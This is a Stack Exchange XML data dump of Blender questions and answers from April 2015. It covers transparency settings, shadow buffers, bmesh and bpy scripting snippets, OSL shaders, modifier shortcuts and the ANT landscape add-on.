  <row Id="27986" PostTypeId="1" CreationDate="2015-04-02T05:09:15.963" Score="1" ViewCount="132" Body="&lt;p&gt;Can I create a design(house) using Sketchup, import the design into Blender and then create a walk through presentation using Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Dion&lt;/p&gt;&#xA;" OwnerUserId="13573" LastActivityDate="2015-05-04T18:24:39.623" Title="Can I create Walk throughs from external designs" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27987" PostTypeId="2" ParentId="27985" CreationDate="2015-04-02T06:43:57.100" Score="4" Body="&lt;p&gt;I had better luck with the &lt;em&gt;variance&lt;/em&gt; shadow buffer type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/CavernousFragrantHumpbackwhale&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/CavernousFragrantHumpbackwhale.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/148/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=148&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just from looking at your file I'm not exactly sure what is &quot;wrong&quot;. I don't see any artifacts in the shadow itself (perhaps if you added a screenshot showing exactly what you are referring to with &quot;weirdo lines streaking through it&quot;?).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-04-02T06:43:57.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27988" PostTypeId="2" ParentId="27878" CreationDate="2015-04-02T07:49:55.863" Score="5" Body="&lt;p&gt;I'll give an alternative answer based on your own answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This slightly modified version of your script assumes the active object is appropriate for the operation. something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DkvfN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with bmesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False) # Go to edit mode&#xA;bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;) # unselect everything&#xA;&#xA;bm = bmesh.from_edit_mesh(obj.data) # load mesh&#xA;bm.faces.ensure_lookup_table()&#xA;&#xA;loops = []&#xA;faces = bm.faces&#xA;&#xA;while faces:&#xA;    faces[0].select_set(True) # select 1st face&#xA;    bpy.ops.mesh.select_linked() # select all linked faces makes a full loop&#xA;    loops.append([f.index for f in faces if f.select])&#xA;    bpy.ops.mesh.hide(unselected=False) # hide the detected loop&#xA;    faces = [f for f in bm.faces if not f.hide] # update faces&#xA;&#xA;bpy.ops.mesh.reveal() # unhide all faces&#xA;print(&quot;Mesh has {} parts&quot;.format(len(loops)))&#xA;&#xA;print(&quot;\nThe face lists are:&quot;)&#xA;for loop in loops:&#xA;    print(loop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of the script is visisble from commandline/console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mesh has 5 parts&#xA;&#xA;The face lists are:&#xA;[0, 1, 3, 7, 8, 9, 10, 11, 27, 31, 32, 33, 34, 35, 36, 40]&#xA;[2, 24, 25, 26, 28, 29, 30, 38, 39]&#xA;[4, 17, 18, 19, 20, 21, 22, 23, 41]&#xA;[5, 6, 12, 13, 14, 15, 16, 42, 43]&#xA;[37]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This corresponds with the indices, proof using index visualizer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ef8aK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-02T07:49:55.863" CommentCount="4" CommunityOwnedDate="2015-04-02T07:49:55.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="27989" PostTypeId="2" ParentId="25911" CreationDate="2015-04-02T09:35:28.313" Score="0" Body="&lt;p&gt;Sandler answered your question on point. Blender cannot &quot;automatically&quot; set key frames for everything. You simply need to set one key frame (try pressing keyboard key &quot;I&quot; over the bar that adjusts the ik/DK influence). After that, blender should record changes to that value.&lt;/p&gt;&#xA;" OwnerUserId="13574" LastActivityDate="2015-04-02T09:35:28.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27991" PostTypeId="1" CreationDate="2015-04-02T12:24:19.270" Score="0" ViewCount="71" Body="&lt;p&gt;I am making a script that needs to rotate everything on the Z axis, this is what I have come up with. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='DESELECT')    &#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.transform.rotate(value=(3.14), constraint_axis=(False, False, True))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error that the object has no value rot, so my question, how do I rotate everything via a script, do I have to run a loop through everything?&lt;/p&gt;&#xA;" OwnerUserId="13288" LastActivityDate="2015-04-02T12:24:19.270" Title="Blender Script Rotate All" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27992" PostTypeId="2" ParentId="27977" CreationDate="2015-04-02T12:29:41.520" Score="1" Body="&lt;p&gt;Your smoke bake has to be starting inside the start/end frames. If the sim start frame is before the timeline start, the sim won't start at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CF8ma.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-04-02T12:29:41.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27993" PostTypeId="1" AcceptedAnswerId="28021" CreationDate="2015-04-02T12:58:16.143" Score="6" ViewCount="3153" Body="&lt;p&gt;I get strange borders on my image planes, even if there is a perfect 100% alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jEimM.png&quot; alt=&quot;Image planes with alpha in a cycles scenery&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendered output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yqM9J.png&quot; alt=&quot;The border of the image plane is visible&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this problem was once in the old blender renderer due the &quot;premultiply issue&quot;, but now I don't see any premultiply option in cycles renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node setup is the standard &quot;import image planes&quot; for cycles as shadeless:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHi4Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you know a workaround or a setting option in order to fix this?&lt;/p&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2015-04-02T20:26:40.147" Title="Transparent image planes in cycles have strange borders" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27994" PostTypeId="1" CreationDate="2015-04-02T13:08:41.560" Score="1" ViewCount="359" Body="&lt;p&gt;What would be the difference of stacking objects into each other and extruding by starting with one single primitive. How does it influence performance and what are the advantages and disadvantages using either of them?&lt;/p&gt;&#xA;&lt;p&gt;For reference. Between this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zmEtx.png&quot; alt=&quot;Image 1&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and this &lt;img src=&quot;https://i.stack.imgur.com/xBvwL.png&quot; alt=&quot;Image 2&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="6387" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-03T01:56:06.777" Title="Difference between stacking and extruding meshes?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;editing&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2015-04-03T13:24:39.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="27995" PostTypeId="1" CreationDate="2015-04-02T14:04:17.487" Score="9" ViewCount="71701" Body="&lt;p&gt;I want to make the black portion in my model transparent so that inside face can be slightly visible. How can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pxd6K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13577" LastEditorUserId="527" LastEditDate="2015-04-02T15:02:03.030" LastActivityDate="2019-04-20T15:18:26.557" Title="How to make an area transparent?" Tags="&lt;modeling&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27996" PostTypeId="1" CreationDate="2015-04-02T14:10:16.537" Score="5" ViewCount="1558" Body="&lt;p&gt;For some reason when I use the active render in my viewport everything is shown as it should. Then when I actually render the image some of my objects are shown as completely white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out why. One of my objects has a texture as well that works perfectly in the viewport render but when I render the scene not only does it show up as only white but it shows no texture whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. I've searched through many forums and have not been able to run across anyone else having this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/149/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=149&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13579" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-02T16:53:33.357" Title="Viewport render is correct while rendering scene shows materials as white" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27997" PostTypeId="2" ParentId="27995" CreationDate="2015-04-02T14:34:31.423" Score="11" Body="&lt;p&gt;In &lt;strong&gt;CYCLES&lt;/strong&gt; select the mesh you want to be transparent. Go to the &lt;strong&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/strong&gt; header and check the &lt;strong&gt;&lt;em&gt;Transparency&lt;/em&gt;&lt;/strong&gt; box.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JOYMx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;strong&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/strong&gt; header, add a new material and decrease the &lt;em&gt;Alpha&lt;/em&gt; value in the &lt;em&gt;Settings&lt;/em&gt; panel as pictured below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fB5Pm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also change the color of transparency.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1TGTV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;BLENDER INTERNAL&lt;/strong&gt; do the same things in &lt;strong&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/strong&gt; header as shown above. Next go to the &lt;strong&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/strong&gt; header, check the &lt;strong&gt;&lt;em&gt;Transparency&lt;/em&gt;&lt;/strong&gt; box and decrease the &lt;em&gt;Alpha&lt;/em&gt; value in &lt;em&gt;Transparency&lt;/em&gt; panel.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YhCOo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If your model is one solid mesh (does not consist of many loose meshes) you may add a transparent material to any part of it (any faces) you like.&#xA;Create the transparent material (using methods I've shown above) and assign it to the desired faces.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j0TqM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ig7LJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-04-02T15:28:02.683" LastActivityDate="2015-04-02T15:28:02.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27998" PostTypeId="2" ParentId="27995" CreationDate="2015-04-02T14:45:30.467" Score="1" Body="&lt;p&gt;With very little information provided, I think you simply need to drop the Alpha on the black Material. If you want complete transparency, and those faces aren't essential, you could just delete them. &lt;/p&gt;&#xA;" OwnerUserId="9730" LastActivityDate="2015-04-02T14:45:30.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27999" PostTypeId="2" ParentId="27978" CreationDate="2015-04-02T15:07:52.810" Score="2" Body="&lt;p&gt;There is currently no support for sending data from an OSL node to a file, values can only be passed into a nodetree used by cycles, which does mean that your OSL script can replace the image node you would use for a bumpmap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By setting a float output value you pass your calculated height directly into the node setup to be used to alter the displacement or bump of the material.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader myosl(output float Height = 0.0 )&#xA;{&#xA;    Height = sin(P[1] + 0.25);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vioa3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you probably don't want to use both displacement and normal adjustment, you may realize that you don't have to use a closure output in your script. You can calculate any value you want and integrate it in your nodes where you need it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-04-02T15:07:52.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28001" PostTypeId="1" CreationDate="2015-04-02T15:43:07.030" Score="1" ViewCount="45" Body="&lt;p&gt;I have a large model -- I am going through it and selecting out faces in order to break a large, messy model into smaller sub-parts, so that painting it is hopefully easier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've locked the position on the object level, but that doesn't seem to translate to the faces, apparently-- it just locks the overall object position.  When I'm in edit mode, right-clicking away on faces, the faces still move around.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My worry is that when I'm doing a lot of right-clicking to select faces, some small bit is going to get moved without me noticing, and I want to lock face positions for that reason.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastActivityDate="2015-04-02T15:43:07.030" Title="How do I lock editing the position of faces?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-02T20:26:09.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="28002" PostTypeId="1" AcceptedAnswerId="28004" CreationDate="2015-04-02T15:54:17.153" Score="0" ViewCount="123" Body="&lt;p&gt;I'm asking how to change every object in a group of objects to be the same mesh type as a third object, which is created on a different layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers  &lt;/p&gt;&#xA;" OwnerUserId="13580" LastActivityDate="2015-04-02T16:46:31.667" Title="Changing every object in a group" Tags="&lt;mesh&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28004" PostTypeId="2" ParentId="28002" CreationDate="2015-04-02T16:34:00.490" Score="1" Body="&lt;p&gt;you can do this with a script :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set the group name&lt;/li&gt;&#xA;&lt;li&gt;select the chosen object and run the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/strong&gt; you can choose to make them linked or non-linked duplicates&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;group_name = 'Group'&#xA;linked = False   &#xA;&#xA;chosen = bpy.context.object&#xA;mygroup = bpy.data.groups[group_name].objects &#xA;for obj in mygroup:&#xA;    if linked :&#xA;        obj.data = chosen.data        # linked duplicates&#xA;    else :&#xA;        obj.data = chosen.data.copy() # Non linked duplicates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-02T16:46:31.667" LastActivityDate="2015-04-02T16:46:31.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28005" PostTypeId="1" AcceptedAnswerId="28016" CreationDate="2015-04-02T16:38:48.600" Score="2" ViewCount="1025" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crocY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something similar to this, or other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;len(bpy.context.selected_objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="241" LastEditDate="2015-04-02T16:44:25.473" LastActivityDate="2015-04-02T19:34:47.873" Title="How do I know if I have a selected keyframe using python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28006" PostTypeId="2" ParentId="27996" CreationDate="2015-04-02T16:53:33.357" Score="2" Body="&lt;p&gt;One of the objects was hidden in the view but visible in the render  , you have to uncheck the camera icon in the outliner :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8SmE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the render layer didn't include all scene layers, excluding some objects from the final render, for this you have to check these layers in the render-layers tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/shZ1E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-02T16:53:33.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28007" PostTypeId="2" ParentId="27889" CreationDate="2015-04-02T17:15:41.853" Score="1" Body="&lt;p&gt;This will output the first, last frames and duration for the whole scene :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;first_frame = 9999&#xA;last_frame = -9999&#xA;for action in bpy.data.actions :&#xA;        if  action.frame_range[1] &amp;gt; last_frame :&#xA;            last_frame = action.frame_range[1]&#xA;        if action.frame_range[0] &amp;lt; first_frame :&#xA;            first_frame = action.frame_range[0]&#xA;&#xA;print (&quot;first frame : &quot;,first_frame, &quot;\nlast frame : &quot;, last_frame,&quot;\nduration : &quot;,last_frame-first_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-02T17:15:41.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28008" PostTypeId="2" ParentId="27993" CreationDate="2015-04-02T17:45:43.227" Score="0" Body="&lt;p&gt;Your transparency must be set to absolute white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the color to full white manually, even if it looks white.&#xA;Inspect carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You (may)have a default RGB  value of .8, .8, .8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light Gray may look deceptively like white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change to 1.,1.,1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture to follow&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-04-02T17:45:43.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28009" PostTypeId="1" CreationDate="2015-04-02T18:07:32.790" Score="1" ViewCount="192" Body="&lt;p&gt;Given two rigid body objects obj1 and obj2, I want to ask for a python function that takes two arguments obj1 and obj2 and returns true if the objects obj1 and obj2 intersect or touch each other or false otherwise. &lt;/p&gt;&#xA;" OwnerUserId="13580" LastActivityDate="2015-04-02T18:07:32.790" Title="Find out if two rigid bodies touch" Tags="&lt;objects&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28010" PostTypeId="1" AcceptedAnswerId="28011" CreationDate="2015-04-02T18:09:39.823" Score="2" ViewCount="68" Body="&lt;p&gt;I was modeling an object, using the Maya keyboard layout, and as I was pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;2&lt;/kbd&gt; to move the camera, my finger slipped, and the object went... strange. I've observed this effect before, but I can't remember what it's called or how to (un)do it. The shape deformed, rounded off, and really annoying. What did I do, and how can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bNtjs.png&quot; alt=&quot;Before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pauMH.png&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13582" LastEditorUserId="5426" LastEditDate="2015-04-02T18:27:17.967" LastActivityDate="2015-04-02T18:27:17.967" Title="I pressed something, and my object went curved" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28011" PostTypeId="2" ParentId="28010" CreationDate="2015-04-02T18:19:49.253" Score="5" Body="&lt;p&gt;You most likely added a &lt;em&gt;sub-surface&lt;/em&gt; modifier on your object. You can do this by pressing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt; through&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;5&lt;/kbd&gt;, adding a sub-division surface with the respective amount of divisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you were pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;2&lt;/kbd&gt; before it happened, your finger probably landed on &lt;kbd&gt;Ctrl&lt;/kbd&gt; when it slipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second screenshot, you do not have your object selected, so the modifier would not display. in the &lt;em&gt;modifiers&lt;/em&gt; panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove it by going to the &lt;em&gt;modifiers&lt;/em&gt; panel and deleting the modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hGx61.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-02T18:25:11.627" LastActivityDate="2015-04-02T18:25:11.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28012" PostTypeId="1" CreationDate="2015-04-02T18:31:50.180" Score="2" ViewCount="4049" Body="&lt;p&gt;I have a situation where, after extruding an angled face, I need to make an edge of it flush with the grid lines. I tried to illustrate what I want to do with the image below. Note, the new location does not lie along the intersections of the grid, only along the X line, so I cannot use snap to grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LleH6.png&quot; alt=&quot;example object with cut marked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the best way to accomplish this would be with the knife tool, but I need a way to snap it to the grid in order to get accurate results. Is there such an option? Bisect would also work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware I could use a second object and intersect them to get this result, but I would prefer if a tool could accomplish what I need, as my current project will involve a lot of this.&lt;/p&gt;&#xA;" OwnerDisplayName="user13583" LastEditorUserId="2217" LastEditDate="2015-06-01T23:30:47.963" LastActivityDate="2016-05-15T12:02:02.530" Title="Snap to grid using knife tool" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;transforms&gt;&lt;snapping&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28013" PostTypeId="1" AcceptedAnswerId="28024" CreationDate="2015-04-02T18:52:54.773" Score="12" ViewCount="856" Body="&lt;p&gt;I remark that there is a parameter &lt;strong&gt;&lt;em&gt;A&lt;/em&gt;&lt;/strong&gt; in the color RGB parameter as mentioned in the image below. What is this parameter and what is its effects on RGB color?&lt;img src=&quot;https://i.stack.imgur.com/B0YqY.png&quot; alt=&quot;image&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="12" LastEditDate="2015-04-27T13:21:42.787" LastActivityDate="2015-04-27T13:21:42.787" Title="What is the parameter A in the RGB color" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28014" PostTypeId="1" AcceptedAnswerId="28015" CreationDate="2015-04-02T19:02:57.873" Score="0" ViewCount="694" Body="&lt;p&gt;In the add mesh menu, If you click on the button labeled &lt;em&gt;Landscape&lt;/em&gt;, It will add a relatively cool looking mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MV8Aq.png&quot; alt=&quot;Add mesh menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once I put my favorite color on it, This mesh seems pretty useless.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/znhGg.png&quot; alt=&quot;Screenshot of blue mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It actually looks kinda like Mt. McKinely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mount_McKinley#/media/File:McKinelyWestbuttress.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSFIF.jpg&quot; alt=&quot;Picture from Wikipedia&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only possible use I can see is if I wanted to go into sculpt mode and modify it further, Then it could have some use as a base mesh to save you some time instead of sculpting from a plane. Is there actually any practical reason to use this button? or is this feature just another pre-made mesh like &lt;strong&gt;Suzanne&lt;/strong&gt; and &lt;strong&gt;teapot&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2016-12-28T18:25:38.663" LastActivityDate="2016-12-28T18:25:38.663" Title="Is the add landscape button really just a pre-made Mt. McKinely?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28015" PostTypeId="2" ParentId="28014" CreationDate="2015-04-02T19:16:02.437" Score="5" Body="&lt;p&gt;You can change the settings for the &lt;em&gt;ANT&lt;/em&gt; landscape creation by moving the random seed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjcJp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;By the way&lt;/strong&gt; &lt;em&gt;ANT&lt;/em&gt; refers to &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;https://developer.blender.org/T23130&quot; rel=&quot;nofollow noreferrer&quot;&gt;Another Noise Tool&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-02T19:40:21.060" LastActivityDate="2015-04-02T19:40:21.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
